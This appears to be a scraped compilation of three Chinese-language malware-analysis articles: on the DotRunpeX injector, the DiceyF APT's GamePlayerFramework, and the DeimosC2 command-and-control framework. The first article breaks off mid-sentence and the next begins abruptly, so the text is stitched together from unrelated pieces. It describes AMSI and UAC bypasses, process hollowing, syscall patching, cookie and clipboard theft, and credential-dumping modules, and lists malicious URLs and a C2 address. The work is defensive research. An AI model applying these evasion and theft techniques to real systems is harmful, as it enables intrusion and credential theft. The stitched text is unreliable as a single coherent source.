
RecordBreaker–RaccoonStealer2.0

Redline

Remcos

Rhadamanthys

SnakeKeylogger

Vidar

XWorm

1.png

DotRunpeX傳播的惡意軟件家族

從發生的時間順序來看,基於DotRunpeX示例的編譯時間戳,這種新的威脅主要在2022年11月和2023年1月開始流行。

2.png

DotRunpeX時間軸——編譯時間戳

感染途徑DotRunpeX注入器通常是原始感染的第二階段。典型的第一階段是.NET加載程序/下載程序的非常不同的變體。第一階段加載程序主要通過釣魚電子郵件作為惡意附件(通常是“.iso”、“.img”、“.zip”和“.7z”的一部分)或通過偽裝成常規程序實用程序的網站進行傳播。除了最常見的感染途徑外,DotRunpeX的客戶還很善於濫用谷歌廣告,甚至通過木馬惡意軟件構建器構建其他潛在的攻擊者。

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”將第一階段加載程序作為惡意“.7z”附件的一部分傳播第一階段加載程序,導致加載DotRunpeX(SHA256:“457cfd6222266941360fdbe36742486ee12419c95f1d7d3502243e795de28200e”)。

3.png

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”

釣魚網站會偽裝成常規程序實用程序(Galaxy Swapper、OBS Studio、洋蔥瀏覽器、Brave Wallet、LastPass、AnyDesk、MSI Afterburner),並提供第一階段加載程序,導致dotRunpeX在第二階段的一部分被感染。

偽裝成Galaxy Swapper的網站:https://www.galaxyswapper[.]ru/:

4.png

在谷歌搜索Galaxy Swapper得到的結果“https://www.galaxyswapper[.]ru/”

下載重定向到https://gitlab[.]com/forhost1232/galaxyv19.11.14/-/raw/main/galaxyv19.11.14.zip。

5.png

“https://www.galaxyswapper[.]ru/”上的下載按鈕重定向到一個木馬程序

偽裝成LastPass密碼管理器的網站:http://lastpass[.]shop/en/

6.png

網站“http://lastpass[.]shop/en/”偽裝成LastPass密碼管理器

LastPass密碼管理器的假冒網站在調查時已經關閉。儘管如此,CPR可以確認該假冒軟件是從“最終URL”https://gitlab[.]com/forhost1232/lastpassinstaller/-/raw/main/LastPassInstaller.zip下載的。

7.png

“http://lastpass[.]shop/en/”上的下載按鈕重定向到一個木馬程序

GitLab頁面https://gitlab[.]com/forhost1232包含數十個被DotRunpeX惡意軟件木馬化的程序。

8.png

GitLab存儲庫“https://gitlab[.]com/forhost1232”上的數十個木馬程序

在前面提到的GitLab頁面上,所有的木馬程序都包含了主.NET應用程序,並通過覆蓋層進行了放大,以避免使用沙盒進行掃描。

9.png

由GitLab存儲庫' https://gitlab[.]com/forhost1232 '提供的木馬程序示例

上面提到的帶有覆蓋的.NET應用程序是典型的第一階段,其行為就像帶有簡單混淆的dotnet加載程序。這些不同的加載程序變體在第二階段使用反射來加載DotRunpeX注入器。其中有些非常簡單,有些則更高級。

簡單的第一階段加載程序(System.Reflection.Assembly.Load()方法):

10.png

簡單的第一階段加載程序

下面可以看到更高級的第一階段加載程序的示例(使用AMSI Bypass和DynamicMethod通過反射加載和執行第二階段加載程序)。這種高級加載程序的優點是沒有直接引用System.Reflection.Assembly.Load()方法,因此它可以避免檢測依賴於.NET元數據靜態解析的引擎。

11.png

使用AMSI繞過和DynamicMethod的更高級的第一階段加載程序

後一種的去混淆形式如下圖所示:

12.png

更高級的第一階段加載程序的去混淆形式

從這些類型的加載程序中提取第二階段(DotRunpeX階段)的編程方式可以簡單地使用AsmResolver和反射來實現,如下所示。

13.png

使用AsmResolver和反射從第一階段加載程序提取DotRunpeX

值得注意的是,那些指向GitLab頁面的釣魚網站的示例只與一個活動有關,在這個活動中,DotRunpeX注入器總是負責注入帶有C2–77.73.134.2的Redline惡意軟件。

除了前面提到的最常見的感染途徑外,CPR還觀察到了一個非常有趣的感染途徑示例,在這個示例中,DotRunpeX的一位客戶可能已經厭倦了以普通受害者為目標,並決定以其他潛在的攻擊者為目標。 Redline構建器Redline_20_2_crack.rar(SHA256: “0e40e504c05c30a7987785996e2542c332100ae7ecf9f67ebe3c24ad2468527c”)被下載程序木馬化,該下載程序使用反射來加載dotRunpeX作為構建器的隱藏“添加功能”。

14.png

木馬化的Redline構建器的文件夾結構

事實證明,在Redline的構建過程中,根據需求進行配置,使用者還將獲得另一個Redline示例。

15.png

使用反射來加載DotRunpeX的下載程序,該下載程序傳播另一個Redline惡意軟件

舊版本的DotRunpeX:

使用自定義混淆:僅對名稱進行混淆;

配置有限(有效負載注入目標、提升+UAC繞過、有效負載解密的XOR密鑰);

只有一種UAC繞過技術;

使用簡單的XOR對要注入的主要有效負載進行解密;

使用D/Invoke類似的技術來調用本機代碼(基於使用GetDelegateForFunctionPointer()),但使用誘餌系統調用例程;

使用D/Invoke重新映射' ntdll.dll '

新版本的DotRunpeX:

由自定義版本的KoiVM虛擬程序保護;

高度可配置(禁用反惡意軟件服務,反虛擬程序,反沙盒,持久性設置,有效負載解密密鑰,UAC繞過方法);

更多的UAC繞過技術;

使用簡單的XOR來解密要注入的主要有效負載(在最新開發的版本中省略了);

濫用procexp驅動程序(Sysinternals)阻止受保護進程(反惡意軟件服務);

基於俄羅斯procexp驅動程序的標誌名稱Иисус.sys 翻譯過來就是“jesus.sys”;

兩個版本的相似之處:

用.NET編寫的64位可執行文件“.exe”;

用於注入幾個不同的惡意軟件家族;

使用簡單的XOR對要注入的主要有效負載進行解密;

可能使用相同的UAC繞過技術(新版DotRunpeX提供了更多技術);

16.png

UAC繞過技術

使用相同的版本信息;

17.png

DotRunpeX版本信息

使用相同的.NET資源名稱BIDEN_HARRIS_PERFECT_ASSHOLE來保存要注入的加密有效負載:

18.png

新舊版本的Dotnet資源名

使用相同的代碼注入技術——Process Hollowing;

使用相同的結構化類定義本機委託;

19.png

用於定義Native委託的相同結構化類

完整的技術分析——舊版本的DotRunpeX對於舊版本的DotRunpeX的分析,使用了示例SHA256:“65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,實現了自定義的混淆——只對名稱進行混淆。 CPR分析的所有示例的版本信息都是一致的,CPR可以注意到ProductName - RunpeX.Stub.Framework,這可能是某種CPR正在處理網絡注入器的第一個提示。

20.png

舊DotRunpeX版本信息

為了方便介紹,CPR對方法名稱、參數和局部變量進行了部分清理。就在Main()方法中,CPR可以看到資源BIDEN_HARRIS_PERFECT_ASSHOLE的簡單XOR解密,該資源包含要注入的加密有效負載。 CPR分析的所有示例的資源名稱都是一致的。

21.png

主要方法導致嵌入式有效負載的簡單XOR解密

CPR還可以看到具有類名UAC的名稱空間UACBypass,此類實現了UAC(用戶帳戶控制)繞過方法,但未配置為在此示例中使用。

22.png

UAC繞過方法

方法Inject()實現了一種稱為“Process Hollowing”的代碼注入技術。下圖顯示了一個正在生成處於掛鉤狀態的進程。

23.png

創建掛鉤的流程作為Process Hollowing技術的一部分

這種技術在惡意軟件開發領域並不新鮮。儘管如此,一旦CPR檢查了這個示例的P/Invoke(允許從託管代碼訪問非託管庫中的結構、回調和函數的技術)定義的方法,就可以立即發現一些有趣的東西。這些方法可以在ImplMap表中看到,該表是.NET元數據的一部分。

24.png

ImplMap表——舊版本的DotRunpeX

必須使用某些WIN API或NT API來執行Process Hollowing技術。正如CPR在ImplMap表中看到的那樣,缺少了一些最關鍵的API。更具體地說,CPR看不到任何與取消映射和寫入遠程進程內存相關的API。這背後的原因是使用D/Invoke框架來調用某些通常會引起注意的NTAPI例程。

D/Invoke包含功能強大的原語,這些原語可以智能地組合在一起,以精確地從磁盤或內存動態調用非託管代碼。它依賴於dotnet方法GetDelegateForFunctionPointer()的使用和相應的委託定義。

在這種情況下,NT API ZwOpenSection、ZwMapViewOfSection、ZwUnmapViewOfSection、NtClose、NtWriteVirtualMemory、NtResumeThread和RtlMoveMemory是通過D/Invoke實現的。委託的相應定義如下所示。

25.png

用於定義Native委託的類

更有趣的是,通過D/Invoke實現的4個NT api (ZwUnmapViewOfSection, NtWriteVirtualMemory, NtResumeThread, RtlMoveMemory)使用了一些可以被認為是添加的PoC技術,而不是原始D/Invoke框架的一部分——系統調用補丁。例如,CPR可以通過CallNtWriteVirtualMemory()方法檢查NtWriteVirtualMemory調用是如何實現的。

26.png

導致系統調用修復的D/Invoke實現示例

首先,我們可以看到MapDllandGetProcAddress()方法中D/Invoke框架的用法發生了變化。每次調用此方法時,它都會重新映射指定的庫,並獲得所需函數的地址。在返回所需函數的地址之前,使用指針算術將指針移動4個字節,使其指向系統調用號的地址。在這種情況下,' ntdll.dll '模塊被重新映射,返回NT API例程NtWriteVirtualMemory的地址,偏移量為4個字節。

27.png

改變了D/Invoke的用法,它返回指

1.jpg

在10月6至7日的Hacktivity 2022安全節中,有研究人員介紹了一個針對東南亞網絡賭場開發和運營環境的有趣的APT活動。

研究人員在報告中將這個APT活動稱為“DiceyF”。據報導,攻擊者多年來一直以東南亞的網絡賭場為目標。研究顯示,該活動與LuckyStar PlugX活動有很多相似之處,另外,TTP、安全消息傳遞客戶端濫用、惡意軟件和目標定位表明,這個活動和趨勢科技研究人員在Botconf 2022上討論的Earth Berberoka/GamblingPuppet活動一致。

在目前已發現的DiceyF事件中,還沒有觀察到直接的經濟動機或現金盜竊的證據。相反,TrendMicro研究人員此前報告的事件顯示,客戶PII數據庫被竊取和源代碼被竊取。攻擊者目前的真正的攻擊動機仍然是一個謎。

攻擊行為分析檢測的攻擊行為包括:

PlugX安裝程序由來自安全消息客戶端開發工作室的潛在被盜數字證書籤名;

惡意軟件通過員工監控系統和安全包部署服務分發;

不同的.NET代碼使用相同的潛在被盜證書籤名,並回調到與PlugX C2相同的域;

2021年11月,研究人員在同一個網絡中檢測到多個PlugX加載程序和有效負載,這通常是一個令人厭倦的研究主題。然而,這一次,PlugX安裝程序三元組(PlugX installer triad)通過兩種方式部署為使用合法數字證書籤名的可執行文件——員工監控服務和安全包部署服務。這個合法的數字證書似乎是從一個用於安全消息傳遞客戶端的開發和構建工作室中竊取的。這些PlugX有效負載通過apps.imangolm[.]com與C2通信。不久之後,同樣的安全包部署服務被用於推送GamePlayerFramework下載程序,這些下載程序與相同的C2進行通信,並使用相同的數字證書籤名。

進一步的研究顯示,目標配置文件建議網絡賭場開發工作室,然後在不同的網絡上招募/外包開發系統。NET下載程序部署與PlugX部署同時出現,都是通過相同的數字證書籤署的。

3.png

這些下載程序使用“PuppetLoader”文件路徑維護PDB字符串,這些PuppetLoader字符串非常熟練地將多級加載程序與過去的PuppetLoader下載程序連接起來,只是這一次用c#重新設計和重寫。過去的PuppetLoader是用c++編寫的,維護顯式字符串:

4.png

新的.NET代碼維護著類似的字符串,反映的是幾年前的代碼庫。

5.png

在我們對這些發現進行分析和報告的同時,來自趨勢科技的人員在Botconf會議上報告了GamblingPuppet/Earth Berberoka的研究。我們非常有信心認為這個DiceyF GamePlayerFramework活動是一個新開發的核心惡意軟件集的後續活動。這個新的APT活動,即DiceyF,將之前報告的GamblingPuppet和Operation DRBControl資源和活動進行了重新設計,以下是我們在早期數據中觀察到的活動:

PlugX和PuppetLoader多級加載程序;

東南亞的網絡賭場目標;

缺乏表明財務動機的證據(趨勢科技觀察到DRBControl操作中客戶數據庫和源代碼洩露);

正在使用的中文語言,特別是GamePlayerFramework錯誤字符串和插件名稱和路徑;

通過後門竊取數據的重點包括擊鍵和剪貼板;

被盜數字證書的再利用;

隱藏安全消息傳遞客戶端作為惡意軟件的傳輸工具和惡意活動的偽裝物;

GamePlayerFramework是前面提到的PuppetLoader c++ /彙編惡意軟件的一個完整的c#重寫。這個“框架”包括下載程序、啟動程序和一組提供遠程訪問和竊取擊鍵和剪貼板數據的插件。更新的(2022年夏季)可執行文件大部分都是用.NET v4.5.1編譯的64位.NET文件,但也有一些是32位或dll文件,用.NET v4.0編譯。這個框架至少有兩個分支,“Tifa”和“Yuna”,並且兩個分支都維護新的模塊,並隨著時間的推移而逐步修改:

D:\Code\Fucker\GamePlayerFramework\Tifa\*.pdb;

C:\Users\fucker\Desktop\Fucker\GamePlayerFramework\Tifa\*.pdb;

D:\Code\Fucker\GamePlayerFramework\Yuna\*.pdb;

奇怪的FinalFantasy代碼遊戲玩家可能熟悉日本Square軟件公司設計的電子遊戲Final Fantasy(最終幻想),其中Tifa和Yuna是其中的兩個主要角色。 Tifa和Yuna分支彼此不同:Tifa分支只包括一個下載程序和一個“核心”模塊,Yuna分支包括下載程序、插件和各種PuppetLoader組件,總共至少有十幾個。即使下載程序之間也有很大的不同。事實上,Yuna.Downloader代碼會隨著時間的推移而發生相當大的變化,包括JSON解析,日誌記錄和加密功能。

Tifa代碼分支於2021年11月首次部署給受害者,這些Tifa下載程序比後來的Yuna下載程序保持了更原始的功能。此外,11月的代碼簽署協調工作似乎沒有很好地組織起來。除了一個已簽名的Tifa可執行文件外,與Yuna下載程序不同,三個Tifa下載程序中的兩個是未簽名的代碼。

最初的Tifa下載程序已經使用了“Mango”和“Mongo”函數名,就像Yuna下載程序中發現的工件一樣,以及前面提到的apps.imangolm[.]com C2植入程序。後來,Yuna下載程序的文件名為“mango.exe”。 Tifa.Downloader變體中的兩個引入了“DownloaderVersion” 字符串,攻擊者可能會在服務器端保持向後兼容性。一些後來的Yuna.Downloader變體增加了功能和復雜性,但是多個早期變體和Tifa分支非常簡單。

加載框架下載和持久化設置完成後,多個組件將加載框架。加載框架的整個過程可以用下圖概括:

7.png

此加載順序導致運行“Launcher”組件。儘管名曰“Launcher”,但此模塊的主要功能是不執行啟動。相反,它是框架的協調器,即它管理所有框架組件。啟動完成後,協調器每20秒向C2服務器發送一次運行報文。每個這樣的數據包都是XOR加密的JSON對象,其中包含以下信息:

1、登錄用戶的用戶名;

2、當前用戶會話狀態(鎖定或解鎖);

3、剪貼板記錄插件收集的日誌的大小;

4、當前日期和時間;

用15個命令中的一個響應C2,命令名稱、命令參數和描述如下:

1、PluginKeepAlive, KeepAlive,N/A,用最近的C2響應時間更新內部時間戳;

2、PluginDestory [sic],N/A,關閉框架;

3、GetSystemInfo,N/A,檢索各種系統信息,即:

本地網絡IP地址;

可用權限(系統、管理員或普通用戶);

用於C2通信的網絡協議(在所有發現的示例中硬編碼到Tcpv4);

框架版本(格式為yyyymmdd.xx,如20220506.00);

下載模塊版本;

CPU名稱;

可用內存;

操作系統版本;

已使用的C2服務器地址;

剪貼板記錄器日誌的大小;

安裝安全解決方案;

BIOS序列號;

MAC地址;

機器啟動時間;

4、FastCmd;Command:要執行的命令;允許執行shell命令,這個命令創建一個新的cmd.exe進程,帶有重定向的標準輸入和輸出,並向它發送命令,執行命令的輸出返回到C2服務器;

5、Getdomainsetting,N/A,將配置中指定的C2服務器列表發送到當前C2服務器;6、SetDomainSetting,DomainConfig:新C2服務器的IP地址和端口,通過將新的C2服務器地址寫入C:\ProgramData\NVIDIA\DConfig文件來更新配置中的C2服務器列表;

7、GetRemotePluginInfo,PluginName:已安裝插件的名稱,檢索本地安裝的插件的版本;

8、RunPlugin,PluginName:要啟動的插件名稱,SessionId:要在其中啟動插件的會話ID,從C2服務器下載插件並啟動它;

9、DeleteGuid,N/A,通過創建一個批處理文件從設備上刪除感染,該文件刪除框架安裝程序釋放的所有文件,除了rascustoms.dll,執行刪除後,批處理文件將自我刪除;

10、Fastdownload,FilePath:待上傳文件的路徑,從受害設備上傳文件;

11、Cacheplugin,PluginName:插件名稱,PluginVersion:插件的版本,從C2服務器下載插件,但不啟動它;

12、Installplugin,PluginName:要啟動的插件名稱,WaitForExitTimeout:超時時間間隔,在受害設備上啟動一個插件,等待插件進程完成,在超時的情況下,協調器會阻止插件進程;

13、remoteinject ,SubMsg:等於RunVirtualDesktop或DestoryVirtualDesktop的字符串,啟動(如果SubMsg是RunVirtualDesktop)或停止(如果SubMsg是DestoryVirtualDesktops)VirtualDesktop插件;

14、ChromeCookie,SubMsg:等於RunChromeCookie或GetCookiePath的字符串,如果SubMsg是RunChromeCookie,啟動ChromeCookie插件,如果參數字符串是GetCookiePath,則返回存儲Chrome cookie的路徑;

15、FirefoxCookie,等於RunChromeCookie或GetCookiePath的字符串,如果參數字符串是GetCookiePath,則返回存儲Chrome cookie的路徑。

插件概述插件是執行大多數框架惡意活動的EXE文件。插件可以配置為在框架啟動時從C2服務器下載,或者使用上述命令之一在任何其他時間加載。在執行過程中,插件可以連接到C2服務器並從中接收命令。有關運行插件的信息存儲在C:\ ProgramData \ NVIDIA \ DisplaySessionContainer1.ini文件中。

該框架的所有插件都以無文件的方式存儲。每當從C2服務器下載插件時,都會按照以下過程將其加載到框架中:

1.orchestrator選擇從10000到20000的隨機端口,並在其上啟動本地TCP套接字服務器;

2.orchestrator在掛起模式中創建一個新的svchost.exe進程,並註入在“加載框架”一節中提到的api-ms-win-core-sys- g1 -0-5.dll庫。

3.注入的庫使用以下參數加載PuppetLoader.Downloader組件:帶有插件payload -Port

4.Yuna.PuppetLoader.Downloader組件從本地TCP服務器下載插件可執行文件,並使用Load加載它。

orchestrator組件的字符串引用以下插件名稱:

Plugin.(Acquisition System;

Plugin.Hidden Process;

Plugin.SSH;

Plugin.General Purpose Plugin;

Plugin.SessionCmd;

Plugin.Port Forwarding;

Plugin.Screen Transfer;

Plugin.Virtual Desktop;

Plugin.Clipboard;

Plugin.ChromeCookie;

Plugin.FirefoxCookie;

在跟踪GamePlayerFramework的部署時,我們注意到上面列出的幾個插件正在被使用:通用插件、剪貼板和虛擬桌面。

帶有圖形界面的惡意應用程序通過安全解決方案安裝包部署的應用程序旨在模仿同步芒果消息應用程序數據的應用程序。以下是此應用程序啟動時顯示給受害者的窗口:

9.png

惡意“芒果員工賬戶數據同步器” 窗口

為了使受害用戶信任惡意窗口,攻擊者採用了社會工程技術。從上面的截圖可以看出,這些信息包括受害組織的名稱,甚至包括該組織IT部門所在的樓層。同時,可見窗口使該應用程序對安全解決方案的可疑性降低。

啟動時,此應用程序會進行如下操作:

通過TCP套接字連接到C2服務器,服務器的地址和端口在二進製文件中指定。如果連接失敗,應用程序將顯示帶有“無法連接到芒果員工數據同步服務器!請反饋至其他部門!”字樣。

向C2服務器發送以下信息:

安裝的芒果信使版本;

設備名稱;

當前用戶名;

操作系統版本;

本地IPv4地址列表;

接收一個包含名為IsErrorMachine的布爾值的JSON對象。如果設置為true,則應用程序將顯示一個包含“尚未認證的設備,請到10樓的it部添加設備認證”文本的消息窗口並退出;

啟動與應用程序位於同一目錄中的exe可執行文件,這個文件的內部名稱是Yuna.Downloader。

代碼處於持續的增量變化中,它的版本控制反映了對代碼庫修改的半專業管理。隨著時間的推移,該團隊增加了對Newtonsoft JSON庫的支持,增強了日誌記錄和日誌加密。

基礎設施10.png

如上所述,許多早期植入(包括PlugX和下載程序)的通信活動通過為位於東南亞的基礎設施解析FQDN來回調基礎設施。到2022年4月,有些Yuna.Downloader開始直接與一個硬編碼的IP地址通信。

總結DiceyF活動的ttp和很多惡意活動都存在相似之處,該組織會隨著時間的推移修改他們的代碼庫,並在整個攻擊過程中開發代碼中的功能。

GamePlayerFramework使DiceyF背後的攻擊者能夠以某種程度的隱身方式執行網絡間諜活動。初始感染方法是值得注意的,因為該框架是通過安全解決方案控制中心部署的安裝包進行傳播的。此外,該框架的組件使用數字證書進行簽名,這使得安全解決方案更信任該框架。為了進一步偽裝惡意組件,攻擊者為其中一些組件添加了圖形界面。這種惡意植入被偽裝成在受害組織中使用的信使組件。為了確保受害者不會對偽裝的植入物產生懷疑,攻擊者獲取了目標組織的信息(例如該組織IT部門所在的樓層),並將其包含在顯示給受害者的圖形窗口中。他們還使用了服務名稱、文件路徑、數字簽名證書和來自NVIDIA、Mango和其他正版軟件的其他構件。 GamePlayerFramework的插件允許對受害機器進行全面的監視。例如,他們能夠監視擊鍵和剪貼板,瀏覽位於組織本地網絡內的網站,或建立虛擬桌面會話。在近幾個月的時間裡,DiceyF開發人員增加了更多的加密功能,以更好地隱藏他們的日誌記錄和監控活動。在未來,我們期望看到插件數量的增加,並觀察到在這個框架中更多不尋常的防禦規避方法。

隨著網絡防御者對Cobalt Strike的關注度上升,攻擊者一直在尋找替代的命令與控制(CC)框架,DeimosC2就是一個替代工具。

CC系統對於滲透測試人員和安全人員來說是非常有用的協作工具。它們為所有受害設備提供了一個公共的位置,以便與之聯繫、進行控制,並允許多個用戶與相同的受害設備進行交互。當執行授權測試時,這是非常重要的,因為日誌保存在一個單獨的地方,以幫助報告。然而,越來越多的這些工具被攻擊者利用,包括開源工具和商業工具。它們的易用性和穩定性讓它們能夠長時間運行而沒有任何問題,這也是為什麼攻擊者也開始轉向這些CC平台而不是建立自己的平台的原因之一。

由於大多數注意力都集中在像Cobalt Strike這樣的成熟的商業工具上,攻擊者一直在尋找能夠提供許多相同功能的其他替代品。對於防御者來說,這意味著隨著攻擊者轉向開源CC軟件,個人和組織都更難抵禦網絡攻擊了。

開源CC軟件與其他一些開源CC框架(如Ares C2、PoshC2和TrevorC2)一樣,DeimosC2提供了經典的CC框架特性,但也提供了一個感覺和行為非常像Cobalt Strike或Metasploit Pro等商業工具的用戶界面。

到目前為止,在地下犯罪組織中,將DeimosC2作為替代方案的討論還不多,但攻擊者可能會在不久的將來將DeimosC2作為首選工具。雖然DeimosC2不是攻擊者目前尋找其他CC平台使用的最受歡迎的選擇,但研究DeimosC2,可以更好地了解是什麼原因使攻擊者想要使用這個平台作為CC框架?

什麼是DeimosC2? DeimosC2是一個開源的CC框架,於2020年6月發布。它是一個功能齊全的框架,允許多個攻擊者訪問受害計算機,為其創建有效負載並與之交互。作為一個利用後的CC框架,DeimosC2將生成需要在計算機服務器上手動執行的有效負載,這些有效負載已經通過其他手段(如社會工程、利用或暴力攻擊)被破壞。一旦部署有效負載,攻擊者將獲得與執行有效負載的用戶帳戶(管理員或普通用戶)相同的系統訪問權。注意,DeimosC2不執行任何類型的活動升級或特權升級。

利用後CC服務器很受安全人員歡迎,因為它們提供了一種方便的方法,可以與多個受害設備交互,收集記錄,並存儲對每台設備所做的事情的證據。

DeimosC2的特點DeimosC2有兩種在系統上安裝的選項:一種是不依賴於安裝Go的預構建二進製文件,另一種是可以在任何安裝了Go的系統上編譯和運行的源代碼。在這項研究中,使用了Debian虛擬機(VM)中預先構建的二進製文件,因此與使用直接從GitHub項目下載的源代碼相比,某些行為可能有所不同。

3.png

GitHub上的DeimosC2服務器二進製文件

DeimosC2結合了許多與其他cc軟件平台相同的特性。像DeimosC2這樣的CC系統的主要目的之一是幫助安全人員和滲透測試人員整合他們的基礎設施,在研究期間通過共享被破壞的主機與他人協作。考慮到這一點,DeimosC2具有多個用戶支持,為用戶提供兩種角色:管理員和用戶。下圖顯示了DeimosC2測試中的兩個用戶設置。

4.png

DeimosC2中的用戶配置截圖

因為DeimosC2也是針對安全研究人員的,所以它支持多因素身份驗證(MFA)、API、備份和恢復特性,以及將系統標記為開發系統或生產系統的能力。

設置了用戶之後,下一步是設置偵聽器,偵聽器是受害設備將接觸到的套接字和協議。 DeimosC2有五種類型的偵聽器,用戶可以為其有效負載配置這些偵聽器,到目前為止我們看到的最常見的是HTTPS和TCP。我們預計,隨著這些工具的普及,我們很可能會看到攻擊者使用DNS over HTTPS DNS over HTTPS (DoH)選項。

5.png

顯示偵聽器設置類型的截圖

一旦做出選擇(在本例中是HTTPS),就會通過輸入強制設置和某些可選設置所需的數據來配置偵聽器。用戶需要設置域名和IP地址,而密鑰和大多數高級設置是可選的。

6.png

顯示HTTPS偵聽器設置的截圖

在高級設置中,有一些CC服務器工作方式的可配置選項。在這裡,你可以找到更改受害者將通過HTTP POST使用到CC服務器的默認路徑的設置。默認情況下,這些路徑是/login、/index、/settings和/profile,但可以在創建偵聽器期間更改這些路徑。它們也可以在以後更改。然而,需要創建新的二進製文件。

配置完所有設置後,將根據設置的“編譯選項”部分中的選項創建二進製文件。這些設置決定了要創建哪些二進製文件以及是否應該對它們進行模糊處理。

創建二進製文件後,通過從偵聽器選項中選擇“interactive”,即可通過界面下載它們。

7.png

為HTTPS偵聽器創建的偵聽器的截圖

一旦下載,這些軟件就可以部署到通過其他方式(如網絡釣魚或漏洞攻擊)受到威脅的設備上。易於使用,為CC通信創建開發後二進製文件。

DeimosC2代理分析雖然許多DeimosC2示例都使用了gobfuscate(一種用於混淆Go語言編寫的程序的開源工具),但我們也發現了未混淆的示例。這使我們能夠識別出DeimosC2包的名稱,我們發現這是一個開源的後開發C2框架。也可以手動消除gobfuscate等工具實現的更改的模糊化,但這太耗時。

在DeimosC2術語中,用於感染受害者的客戶機二進製文件稱為代理。 DeimosC2利用Go語言的多平台特性為不同的體系結構(如Windows、Linux、macOS和Android)編譯代理。

代理很簡單:當執行時,它會立即嘗試聯繫硬編碼CC域或IP地址中的偵聽器,除非設置了執行時間範圍。

DeimosC2代理使用三個不同的秘鑰與偵聽器交換消息。

代理秘鑰這是標識代理的唯一秘鑰。秘鑰最初被設置為'000000000000000000000000000000000000',但是來自偵聽器的第一個響應將它更新為一個新版本,4 UUID。

AES密鑰這個256位AES密鑰是每次代理與CC偵聽器對話時隨機生成的,這用於加密與CC偵聽器交換的消息。

RSA密鑰除了AES加密之外,DeimosC2還使用RSA-2048對代理和前面解釋的AES密鑰進行加密。代理使用硬編碼的公鑰加密其他密鑰,而CC偵聽器使用其私鑰解密數據。

下圖從代理的角度說明了加密過程。

8.png

DeimosC2代理加密方案

發送到CC偵聽器的第一條消息以JSON格式包含有關受感染設備的信息,如下圖所示。

9.png

首次發送到CC偵聽器的JSON數據示例

發送的數據包括有關操作系統、已安裝的防病毒產品、主機名、登錄的用戶名、內部IP地址、文件系統上的代理路徑、可用的shell程序、進程ID (PID)和用戶特權的信息。

命令C2偵聽器響應可以包括一個或多個命令(在DeimosC2術語中稱為“jobs”)。

DeimosC2命令及其描述如下:

Shell:執行shell命令;

下載:將文件下載到CC服務器;

上傳:將文件上傳到受感染的計算機;

選項:抖動和延遲選項設置CC通信的休眠時間。 eol(我們假設它意味著生命結束)選項設置代理退出的日期,而hours選項配置通信的時間範圍;

文件瀏覽器:要求代理列出給定路徑上的所有文件和目錄;

shellInject:在代理進程中註入並運行自定義shell代碼;

模塊:執行一個模塊;

Reinit:重新連接代理,這會使代理獲得一個新的代理密鑰;

pivotTCP:啟動受感染設備中的TCP服務器,以便其他代理可以將其用作偵聽器,用於感染無法訪問互聯網的設備;

pivotJob:處理數據透視作業;

pivotKill:重置透視偵聽器列表;

Kill:卸載代理;

模塊DeimosC2通過可以在受害者的設備中執行的模塊擴展其功能, DeimosC2信息如下:

Screengrab:在受感染的設備上截屏;

Minidump:生成給定進程的用戶模式小型轉儲;

Lsadump:下載SECURITY和SYSTEM註冊表配置單元以竊取憑據;

Ntdsdump:下載Ntds.dit並且SYSTEM文件用於憑證竊取;

Samdump;下載SECURITY、SYSTEM和SAM註冊表配置單元以竊取憑據;

Shadowdump:從Linux設備下載/etc/shadow文件;

DeimosC2的模塊接口允許CC偵聽器推送新模塊並從磁盤或內存(使用代碼注入)執行它們。

網絡分析正如我們前面提到的,在使用DeimosC2時,用戶可以選擇幾種偵聽器類型,包括HTTPS、TCP和DoH。這些可能是最常見的選項,因為它們在其他CC平台上很受歡迎。由於DeimosC2的開源特性,我們能夠詳細研究這些偵聽器是如何工作的。

HTTPS偵聽器當監聽器運行HTTPS時,我們發現有一個默認的網頁被配置。通過查看GitHub頁面,我們確認它是Apache的默認Ubuntu頁面。

11.png

顯示標題的默認Apache Ubuntu頁面的Nmap結果

根據安裝過程中偵聽器的配置,我們知道該工具使用了一些路徑。查看代理源代碼的.go版本,我們可以看到已經設置並正在使用的進程。

12.png

代理使用的路徑的Go變量

變量“firsttime”用於與服務器的初始通信。從那時起,變量“checkin”將被使用。

基於此,我們可以對CC服務器是否為默認配置以及是否啟用了HTTPS檢測進行指紋識別。代理將向/login發送HTTP POST,然後定期向/index發送。 HTTPS偵聽器使用的默認端口為4443。但是,在任何其他端口上創建偵聽器時,都可以輕鬆更改此端口。在/profile上,變量“moduleloc”用於將數據從代理髮送回服務器。最後,使用“piviotloc”變量通過當前受害者傳遞數據,作為前面描述的代理piviotloc功能的一部分。

13.png

HTTPS_agent中的sendMsg函數

下圖顯示了由配置為使用HTTPS偵聽器的代理髮送的加密POST請求。默認情況下,它使用/login發送第一條消息,之後,代理默認情況下向/checkin發送請求。

14.png

由配置為使用HTTPS偵聽器的代理髮送的加密POST請求

TCP偵聽器TCP偵聽器利用Go語言函數創建數據包並將其發送到已創建的套接字。加密流程的工作原理與HTTPS加密相同。在這種情況下,唯一的區別是,整個消息的長度有助於數據的解密。為了實現這一點,它在加密數據的前面加上已加密和要發送的數據的長度。這將發送到套接字,然後發送到CC服務器。

15.png

來自TCP偵聽器Go代碼的sendMsg函數

根據我們對從TCP代理髮送到偵聽器的數據包的分析,這部分具有可預測的行為。由於uint64調用,創建的長度將是64位或8字節長的無符號整數。分組的數據部分的開始將有8個字節,用於隨後的分組長度。我們在與CC服務器的通信中觀察到的大多數信息都是這樣。每個數據包總共350字節,包含296字節的數據。

16.png

與CC服務器通信的TCP代理的數據包的數據部分(突出顯示部分)

由於我們知道數據包的數據部分前面有數據包大小,並且它是一個8字節的無符號整數,因此我們可以得出結論,數據的前8字節是處理數據包時將遵循的大小。

在本例中,有一個296字節的數據字段,如果我們去掉長度字段的8個字節,就會為來自CC服務器的命令留下288個字節。如果我們取288字節並將其轉換為十六進制系統,這很容易計算出來,結果是0x120或01 20,這就是我們在所看到的示例中0的前6個字節後發現的結果。

17.png

DeimosC2 TCP數據包結構

檢測這種行為的一種可能方法是使用snort規則來查找通信流量。下面是一個Snort規則的示例,它將檢測我們的示例數據包:

18.png

基於Snort中僅啟用此規則的測試,我們確認它將檢測來自TCP代理的通信。請注意,此規則可能需要基於特定設置進行調整,以消除誤報並提高傳感器性能。

19.png

來自Snort規則的示例警報的截圖

